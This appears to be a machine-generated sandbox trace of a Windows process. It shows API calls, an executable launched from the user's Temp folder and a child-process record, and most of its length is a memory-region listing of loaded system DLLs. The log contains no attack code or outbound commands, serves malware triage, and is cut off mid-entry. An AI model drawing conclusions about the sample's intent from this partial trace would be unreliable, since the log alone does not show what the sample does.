0xef8 [0177.517] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0177.641] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0177.641] GetCurrentThreadId () returned 0xef8 [0177.641] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0177.641] GetCurrentThreadId () returned 0xef8 [0177.641] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0177.766] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0177.766] GetCurrentThreadId () returned 0xef8 [0177.766] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0177.766] GetCurrentThreadId () returned 0xef8 [0177.766] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0177.890] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0177.890] GetCurrentThreadId () returned 0xef8 [0177.890] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0177.890] GetCurrentThreadId () returned 0xef8 [0177.890] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0178.015] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41ea20 | out: lpdwProcessId=0x1c41ea20) returned 0xec0 [0178.015] GetCurrentThreadId () returned 0xef8 [0178.015] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x1c41e920 | out: lpdwProcessId=0x1c41e920) returned 0xec0 [0178.015] GetCurrentThreadId () returned 0xef8 [0178.015] PostMessageW (hWnd=0x2031e, Msg=0xc1d5, wParam=0x0, lParam=0x0) returned 1 [0178.694] CoGetContextToken (in: pToken=0x1c41e540 | out: pToken=0x1c41e540) returned 0x0 [0178.694] CObjectContext::QueryInterface () returned 0x0 [0178.694] CObjectContext::GetCurrentThreadType () returned 0x0 [0178.694] Release () returned 0x0 Thread: id = 8 os_tid = 0xefc [0109.814] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0109.864] ShellExecuteExW (in: pExecInfo=0x270b208*(cbSize=0x70, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp_aSDqwd2.exe", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x270b208*(cbSize=0x70, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp_aSDqwd2.exe", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x3d8)) returned 1 [0115.969] CoGetContextToken (in: pToken=0x1c14f6e0 | out: pToken=0x1c14f6e0) returned 0x0 [0116.023] CoUninitialize () Thread: id = 9 os_tid = 0xf00 Thread: id = 10 os_tid = 0xf04 Thread: id = 11 os_tid = 0xf08 Thread: id = 15 os_tid = 0xf1c Thread: id = 16 os_tid = 0xf20 [0124.275] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0124.284] ResetEvent (hEvent=0x3d0) returned 1 Thread: id = 18 os_tid = 0xf2c Thread: id = 69 os_tid = 0xce0 Thread: id = 70 os_tid = 0xce8 Process: id = "2" image_name = "tmp_asdqwd2.exe" filename = "c:\\users\\keecfmwgj\\appdata\\local\\temp\\tmp_asdqwd2.exe" page_root = "0x3c399000" os_pid = "0xf0c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xebc" cmd_line = "\"C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp_aSDqwd2.exe\" " cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f3d7" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1446 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1447 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1448 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1449 start_va = 0x120000 end_va = 0x21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 1450 start_va = 0x1380000 end_va = 0x13adfff monitored = 1 entry_point = 0x13947aa region_type = mapped_file name = "tmp_asdqwd2.exe" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp_aSDqwd2.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\tmp_asdqwd2.exe") Region: id = 1451 start_va = 0x77280000 end_va = 0x77428fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1452 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1453 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1454 start_va = 0x7feff5a0000 end_va = 0x7feff5a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1455 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1456 start_va = 0x7fffffd7000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 1457 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 1458 start_va = 0x220000 end_va = 0x35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 1459 start_va = 0x7fefa020000 end_va = 0x7fefa08efff monitored = 1 entry_point = 0x7fefa021134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 1460 start_va = 0x77160000 end_va = 0x7727efff monitored = 0 entry_point = 0x77175340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1461 start_va = 0x7fefd4d0000 end_va = 0x7fefd53bfff monitored = 0 entry_point = 0x7fefd4d2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1462 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1463 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1464 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1465 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1466 start_va = 0x360000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000360000" filename = "" Region: id = 1467 start_va = 0x360000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000360000" filename = "" Region: id = 1468 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 1469 start_va = 0x220000 end_va = 0x2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 1470 start_va = 0x2e0000 end_va = 0x35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 1471 start_va = 0x7feff060000 end_va = 0x7feff13afff monitored = 0 entry_point = 0x7feff080760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1472 start_va = 0x7fefebb0000 end_va = 0x7fefec4efff monitored = 0 entry_point = 0x7fefebb25a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1473 start_va = 0x7feff1e0000 end_va = 0x7feff1fefff monitored = 0 entry_point = 0x7feff1e60e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1474 start_va = 0x7fefd5a0000 end_va = 0x7fefd6ccfff monitored = 0 entry_point = 0x7fefd5eed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1475 start_va = 0x470000 end_va = 0x5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 1476 start_va = 0x470000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 1477 start_va = 0x5d0000 end_va = 0x5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 1478 start_va = 0x7fef8de0000 end_va = 0x7fef8e88fff monitored = 1 entry_point = 0x7fef8de1010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 1479 start_va = 0x7fefa010000 end_va = 0x7fefa012fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 1480 start_va = 0x7fefec80000 end_va = 0x7fefecf0fff monitored = 0 entry_point = 0x7fefec91e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1481 start_va = 0x7fefed00000 end_va = 0x7fefed66fff monitored = 0 entry_point = 0x7fefed0b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1482 start_va = 0x77060000 end_va = 0x77159fff monitored = 0 entry_point = 0x7707a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1483 start_va = 0x7fefd940000 end_va = 0x7fefd94dfff monitored = 0 entry_point = 0x7fefd941080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1484 start_va = 0x7fefdd50000 end_va = 0x7fefde18fff monitored = 0 entry_point = 0x7fefddca874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1485 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1486 start_va = 0x5e0000 end_va = 0x767fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005e0000" filename = "" Region: id = 1487 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1488 start_va = 0x7fefec50000 end_va = 0x7fefec7dfff monitored = 0 entry_point = 0x7fefec51010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1489 start_va = 0x7fefed80000 end_va = 0x7fefee88fff monitored = 0 entry_point = 0x7fefed81064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1491 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 1492 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 1493 start_va = 0x770000 end_va = 0x8f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000770000" filename = "" Region: id = 1494 start_va = 0x13b0000 end_va = 0x27affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000013b0000" filename = "" Region: id = 1495 start_va = 0xd0000 end_va = 0xf8fff monitored = 1 entry_point = 0xe47aa region_type = mapped_file name = "tmp_asdqwd2.exe" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp_aSDqwd2.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\tmp_asdqwd2.exe") Region: id = 1496 start_va = 0xd0000 end_va = 0xf8fff monitored = 1 entry_point = 0xe47aa region_type = mapped_file name = "tmp_asdqwd2.exe" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp_aSDqwd2.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\tmp_asdqwd2.exe") Region: id = 1497 start_va = 0x7fefc390000 end_va = 0x7fefc39bfff monitored = 0 entry_point = 0x7fefc391064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 1498 start_va = 0x7fef0fa0000 end_va = 0x7fef193cfff monitored = 1 entry_point = 0x7fef13ea300 region_type = mapped_file name = "mscorwks.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\mscorwks.dll") Region: id = 1499 start_va = 0x7fef0fa0000 end_va = 0x7fef193cfff monitored = 1 entry_point = 0x7fef13ea300 region_type = mapped_file name = "mscorwks.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\mscorwks.dll") Region: id = 1500 start_va = 0x900000 end_va = 0xa8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000900000" filename = "" Region: id = 1501 start_va = 0x7fef0fa0000 end_va = 0x7fef193cfff monitored = 1 entry_point = 0x7fef13ea300 region_type = mapped_file name = "mscorwks.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\mscorwks.dll") Region: id = 1502 start_va = 0xd0000 end_va = 0xd0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 1503 start_va = 0x74dd0000 end_va = 0x74e98fff monitored = 0 entry_point = 0x74dd2df0 region_type = mapped_file name = "msvcr80.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_88e41e092fab0294\\msvcr80.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_88e41e092fab0294\\msvcr80.dll") Region: id = 1504 start_va = 0xa90000 end_va = 0xc6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a90000" filename = "" Region: id = 1505 start_va = 0x900000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000900000" filename = "" Region: id = 1506 start_va = 0xa10000 end_va = 0xa8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a10000" filename = "" Region: id = 1507 start_va = 0xe0000 end_va = 0xe2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 1508 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 1509 start_va = 0x100000 end_va = 0x11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 1510 start_va = 0x7ff00010000 end_va = 0x7ff0001ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ff00010000" filename = "" Region: id = 1511 start_va = 0x7ff00020000 end_va = 0x7ff0002ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ff00020000" filename = "" Region: id = 1512 start_va = 0x7ff00030000 end_va = 0x7ff000cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ff00030000" filename = "" Region: id = 1513 start_va = 0x7ff000d0000 end_va = 0x7ff000dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ff000d0000" filename = "" Region: id = 1514 start_va = 0x7ff000e0000 end_va = 0x7ff0014ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ff000e0000" filename = "" Region: id = 1515 start_va = 0xb40000 end_va = 0xc3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b40000" filename = "" Region: id = 1516 start_va = 0xc60000 end_va = 0xc6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c60000" filename = "" Region: id = 1517 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 1518 start_va = 0x7fefde20000 end_va = 0x7fefeba7fff monitored = 0 entry_point = 0x7fefde9cebc region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 1519 start_va = 0x220000 end_va = 0x220fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 1520 start_va = 0x250000 end_va = 0x2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 1521 start_va = 0x7fefd730000 end_va = 0x7fefd932fff monitored = 0 entry_point = 0x7fefd753330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1522 start_va = 0xc70000 end_va = 0xf3efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1523 start_va = 0x7fefd1d0000 end_va = 0x7fefd1defff monitored = 0 entry_point = 0x7fefd1d19b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1524 start_va = 0x230000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 1525 start_va = 0x27b0000 end_va = 0x1a7affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000027b0000" filename = "" Region: id = 1526 start_va = 0x1a7b0000 end_va = 0x1ae7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a7b0000" filename = "" Region: id = 1527 start_va = 0xf40000 end_va = 0x1040fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f40000" filename = "" Region: id = 1528 start_va = 0x10e0000 end_va = 0x11dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000010e0000" filename = "" Region: id = 1529 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 1530 start_va = 0x7fef00c0000 end_va = 0x7fef0f9bfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll") Region: id = 1531 start_va = 0xa90000 end_va = 0xb0cfff monitored = 0 entry_point = 0xa9cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 1532 start_va = 0xa90000 end_va = 0xb0cfff monitored = 0 entry_point = 0xa9cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 1533 start_va = 0x7fefd0c0000 end_va = 0x7fefd0cefff monitored = 0 entry_point = 0x7fefd0c1010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1534 start_va = 0x7fefbb20000 end_va = 0x7fefbb75fff monitored = 0 entry_point = 0x7fefbb2bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 1535 start_va = 0x11e0000 end_va = 0x135ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000011e0000" filename = "" Region: id = 1536 start_va = 0x11e0000 end_va = 0x12befff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000011e0000" filename = "" Region: id = 1537 start_va = 0x12e0000 end_va = 0x135ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000012e0000" filename = "" Region: id = 1538 start_va = 0x7fffff20000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff20000" filename = "" Region: id = 1539 start_va = 0x7fffff10000 end_va = 0x7fffff1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 1541 start_va = 0x7fefcac0000 end_va = 0x7fefcad7fff monitored = 0 entry_point = 0x7fefcac3b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1542 start_va = 0x570000 end_va = 0x5b4fff monitored = 0 entry_point = 0x571064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1543 start_va = 0x570000 end_va = 0x5b4fff monitored = 0 entry_point = 0x571064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1544 start_va = 0x570000 end_va = 0x5b4fff monitored = 0 entry_point = 0x571064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1545 start_va = 0x570000 end_va = 0x5b4fff monitored = 0 entry_point = 0x571064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1546 start_va = 0x570000 end_va = 0x5b4fff monitored = 0 entry_point = 0x571064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1547 start_va = 0x7fefc7c0000 end_va = 0x7fefc806fff monitored = 0 entry_point = 0x7fefc7c1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1548 start_va = 0x7ff00150000 end_va = 0x7ff0015ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ff00150000" filename = "" Region: id = 1549 start_va = 0x230000 end_va = 0x232fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "l_intl.nls" filename = "\\Windows\\System32\\l_intl.nls" (normalized: "c:\\windows\\system32\\l_intl.nls") Region: id = 1550 start_va = 0x7fef2ff0000 end_va = 0x7fef3173fff monitored = 1 entry_point = 0x7fef30d6c60 region_type = mapped_file name = "mscorjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\mscorjit.dll") Region: id = 1551 start_va = 0x240000 end_va = 0x240fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 1552 start_va = 0x2d0000 end_va = 0x2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 1553 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 1554 start_va = 0x580000 end_va = 0x58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 1555 start_va = 0x7ff00160000 end_va = 0x7ff0019ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ff00160000" filename = "" Region: id = 1556 start_va = 0x590000 end_va = 0x59ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000590000" filename = "" Region: id = 1557 start_va = 0x5a0000 end_va = 0x5affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005a0000" filename = "" Region: id = 1558 start_va = 0x5b0000 end_va = 0x5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005b0000" filename = "" Region: id = 1559 start_va = 0x5c0000 end_va = 0x5cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Region: id = 1560 start_va = 0x1ae80000 end_va = 0x1af7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ae80000" filename = "" Region: id = 1561 start_va = 0xa00000 end_va = 0xa0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a00000" filename = "" Region: id = 1562 start_va = 0xa90000 end_va = 0xa9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a90000" filename = "" Region: id = 1563 start_va = 0xaa0000 end_va = 0xaaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000aa0000" filename = "" Region: id = 1564 start_va = 0xab0000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 1565 start_va = 0xac0000 end_va = 0xacffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ac0000" filename = "" Region: id = 1566 start_va = 0x7feef690000 end_va = 0x7fef00b2fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system\\adff7dd9fe8e541775c46b6363401b22\\system.ni.dll") Region: id = 1567 start_va = 0x7fef2db0000 end_va = 0x7fef2fe6fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll" (normalized: 